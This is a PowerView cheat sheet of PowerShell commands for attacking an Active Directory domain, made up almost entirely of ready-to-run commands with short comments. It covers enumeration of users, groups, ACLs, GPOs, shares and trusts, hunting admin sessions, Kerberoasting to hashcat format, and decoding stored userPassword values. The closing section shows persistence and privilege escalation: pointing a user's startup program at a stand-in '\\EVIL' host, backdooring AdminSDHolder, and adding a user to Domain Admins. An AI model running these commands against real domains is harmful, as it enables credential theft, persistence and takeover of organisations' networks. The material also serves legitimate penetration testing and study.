#Basic domain infoGet-NetDomain#User infoGet-NetUser-UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled infoGet-NetUser-LDAPFilter '(sidHistory=*)'#Find users with sidHistory setGet-NetUser-PreauthNotRequired #ASREPRoastable usersGet-NetUser-SPN #Kerberoastable users#Groups infoGet-NetGroup| select samaccountname, admincount, descriptionGet-DomainObjectAcl-SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local'|%{ $_.SecurityIdentifier } |Convert-SidToName#Get AdminSDHolders#ComputersGet-NetComputer| select samaccountname, operatingsystemGet-NetComputer-Unconstrained | select samaccountname #DCs always appear but aren't useful for privescGet-NetComputer-TrustedToAuth | select samaccountname #Find computers with Constrained DelegationGet-DomainGroup-AdminCount |Get-DomainGroupMember-Recurse |?{$_.MemberName-like'*$'} #Find any machine accounts in privileged groups#SharesFind-DomainShare-CheckShareAccess #Search readable shares#Domain trustsGet-NetDomainTrust#Get all domain trusts (parent, children and external)Get-NetForestDomain|Get-NetDomainTrust#Enumerate all the trusts of all the domains found#LHF#Check if any user passwords are set$FormatEnumerationLimit=-1;Get-DomainUser-LDAPFilter '(userPassword=*)'-Properties samaccountname,memberof,userPassword |% {Add-Member-InputObject $_ NoteProperty 'Password'"$([System.Text.Encoding]::ASCII.GetString($_.userPassword))"-PassThru} | fl#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.Find-LocalAdminAccess#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.Invoke-UserHunter-CheckAccess#Find interesting ACLsInvoke-ACLScanner-ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
# All admin users of default domain:
$filename = 'admins_default_domain'; $out = Get-NetUser -AdminCount; Export-Clixml $filename'.out' -InputObject $out; "All admins in the domain. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort lastlogontimestamp | ft -wrap -autosize >> $filename'.txt'
# All enabled users (including admins) with no-password setting
$filename = 'users_no_password_default_domain'; $out = Get-NetUser -Filter "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled users (including admins) with no-password setting. Means this users could have weak passwords or even no password at all. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort pwdlastset | ft -wrap -autosize >> $filename'.txt'
# All enabled users (including admins) with password never expire setting
$filename = 'users_password_never_expire_default_domain'; $out = Get-NetUser -Filter "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=65536)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled users (including admins) with password never expire setting. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort pwdlastset | ft -wrap -autosize >> $filename'.txt'
# All enabled admins with password changed > 3 months
$filename = 'admins_enabled_with_old_password_default_domain'; $date_three_month = (Get-Date).AddMonths(-3).ToFileTime(); $out = Get-NetUser -Filter "(&(!(userAccountControl:1.2.840.113556.1.4.803:=2))(pwdlastset<=$date_three_month)(admincount=1))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled admins with password changed > 3 months. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort pwdlastset | ft -wrap -autosize >> $filename'.txt'
# All enabled users (including admins) with password changed > 6 months
$filename = 'users_enabled_with_old_password_default_domain'; $date_six_month = (Get-Date).AddMonths(-6).ToFileTime(); $out = Get-NetUser -Filter "(&(!(userAccountControl:1.2.840.113556.1.4.803:=2))(pwdlastset<=$date_six_month))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled users (including admins) with password changed > 6 months. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort pwdlastset | ft -wrap -autosize >> $filename'.txt'
# All enabled users (including admins) who last logon is > 3 months.
$filename = 'users_enabled_with_old_logged_on_date_default_domain'; $date_three_month = (Get-Date).AddMonths(-3).ToFileTime(); $out = Get-NetUser -Filter "(&(!(userAccountControl:1.2.840.113556.1.4.803:=2))(lastlogontimestamp<=$date_three_month))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled users (including admins) who last logon is > 3 months. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort lastlogontimestamp | ft -wrap -autosize >> $filename'.txt'
# All enabled admins who last logon is > 3 months.
$filename = 'admins_enabled_with_old_logged_on_date_default_domain'; $date_three_month = (Get-Date).AddMonths(-3).ToFileTime(); $out = Get-NetUser -Filter "(&(!(userAccountControl:1.2.840.113556.1.4.803:=2))(lastlogontimestamp<=$date_three_month)(admincount=1))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled admins who last logon is > 3 months. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort lastlogontimestamp | ft -wrap -autosize >> $filename'.txt'
# All disabled users:
$filename = 'users_disabled_dafault_domain'; $out = Get-NetUser -Filter "(userAccountControl:1.2.840.113556.1.4.803:=2)"; Export-Clixml $filename'.out' -InputObject $out; "All disabled users. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort lastlogontimestamp | ft -wrap -autosize >> $filename'.txt'
# All enabled users:
$filename = 'users_enabled_dafault_domain'; $out = Get-NetUser -Filter "(!(userAccountControl:1.2.840.113556.1.4.803:=2))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled users. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort lastlogontimestamp | ft -wrap -autosize >> $filename'.txt'
# All enterprise admins
Get-NetGroupMember -GroupName "Enterprise Admins" -Recurse | Export-Clixml enterprise_admins_default_domain.out
# All users of default domain:
Get-NetUser | Export-Clixml users_default_domain.out
# Get all groups
Get-NetGroup -FullData | Export-Clixml groups_all_data_default_domain.out
# Get all computers
Get-NetComputer -FullData | Export-Clixml computers_all_data_default_domain.out
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('corp.com\JOE', $SecPassword)
Invoke-Kerberoast -Domain corp.com -OutputFormat hashcat -Credential $Cred
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
